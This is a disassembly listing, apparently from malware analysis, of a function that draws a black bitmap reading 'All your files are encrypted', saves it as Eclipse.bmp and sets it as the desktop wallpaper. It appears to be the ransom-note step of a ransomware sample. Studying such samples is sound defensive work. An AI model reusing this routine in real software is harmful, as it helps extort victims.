Function at 0x140022ca0
Capabilities:
Change the wallpaper
Check if file exists
Get common file path
Get file attributes

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x1400a3080]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov dword [rsp + 0xe0], 1
xor r15d, r15d
mov qword [r11 - 0x270], r15
mov qword [r11 - 0x268], r15
xor r8d, r8d
lea rdx, [r11 - 0x278]
lea rcx, [r11 - 0x280]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
je 0x140022d29
lea rdx, str.Failed_to_initialize_GDI
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
jmp 0x1400232a3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea r12, vtable.Gdiplus::Image.0
mov qword [rsp + 0x88], r12
lea rax, vtable.Gdiplus::Bitmap.0
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9d, 0x21808
xor r8d, r8d
mov edx, 0x438
mov ecx, 0x780
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromScan0]
mov dword [rsp + 0x98], eax
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x48], r15
lea rdx, [rsp + 0x48]
call qword [sym.imp.gdiplus.dll_GdipGetImageGraphicsContext]
mov esi, eax
mov dword [rsp + 0xd0], eax
mov rbx, qword [rsp + 0x48]
mov qword [rsp + 0xc8], rbx
mov edx, 2
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipSetSmoothingMode]
test eax, eax
cmovne esi, eax
mov dword [rsp + 0xd0], esi
mov dword [rsp + 0x40], 0xff000000
lea r14, vtable.Gdiplus::Brush.0
mov qword [rsp + 0xb0], r14
mov dword [rsp + 0xc0], 6
lea r13, vtable.Gdiplus::SolidBrush.0
mov qword [rsp + 0xb0], r13
mov qword [rsp + 0x50], r15
lea rdx, [rsp + 0x50]
mov ecx, 0xff000000
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0xc0], eax
mov rdi, qword [rsp + 0x50]
mov qword [rsp + 0xb8], rdi
mov dword [rsp + 0x28], 0x438
mov dword [rsp + 0x20], 0x780
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipFillRectangleI]
test eax, eax
cmovne esi, eax
mov dword [rsp + 0xd0], esi
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
movss xmm2, dword [0x140097e44]
lea rcx, [rsp + 0xa0]
call fcn.1400229e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x40], 0xffffffff
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x80], 6
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x58], r15
lea rdx, [rsp + 0x58]
mov ecx, 0xffffffff
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [0x140097e70]
movups xmmword [rsp + 0xf8], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x60], r15
xor edx, edx
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.gdiplus.dll_GdipCreateStringFormat]
mov dword [rsp + 0x68], eax
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatAlign]
mov ecx, dword [rsp + 0x68]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0x68], ecx
mov edx, 1
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatLineAlign]
mov ecx, dword [rsp + 0x68]
test eax, eax
cmovne ecx, eax
mov dword [rsp + 0x68], ecx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa0]
mov r8d, 0xffffffff
lea rdx, str.All_your_files_are_encrypted_nfor_more_information_see_Recover_Files.txt_that_is_located_in_every_encrypted_folder
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDrawString]
test eax, eax
cmovne esi, eax
mov dword [rsp + 0xd0], esi
lea rdx, [rsp + 0x108]
call fcn.140022bb0
test al, al
jne 0x140023018
lea rdx, str.Failed_to_get_BMP_CLSID
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x1400232a3
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1400230b4
lea rdx, str.Failed_to_get_common_app_data_path
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x1400232a3
lea r8, str.Eclipse.bmp
mov edx, 0x104
lea rcx, [rsp + 0x120]
call fcn.14005c410
xor r9d, r9d
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
test eax, eax
je 0x140023176
mov dword [rsp + 0x98], eax
lea rdx, str.Failed_to_save_BMP_file
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x1400232a3
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140023202
lea rdx, str.Background_image_file_not_found
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
jmp 0x1400232a3
mov r9d, 3
lea r8, [rsp + 0x120]
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x14002323a
lea rdx, str.Failed_to_set_desktop_wallpaper
lea rcx, [0x1400a56e0]
call fcn.14001b780
mov rcx, rax
call fcn.14001ba50
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rbx
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
nop
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
nop
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.14004dfe0
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret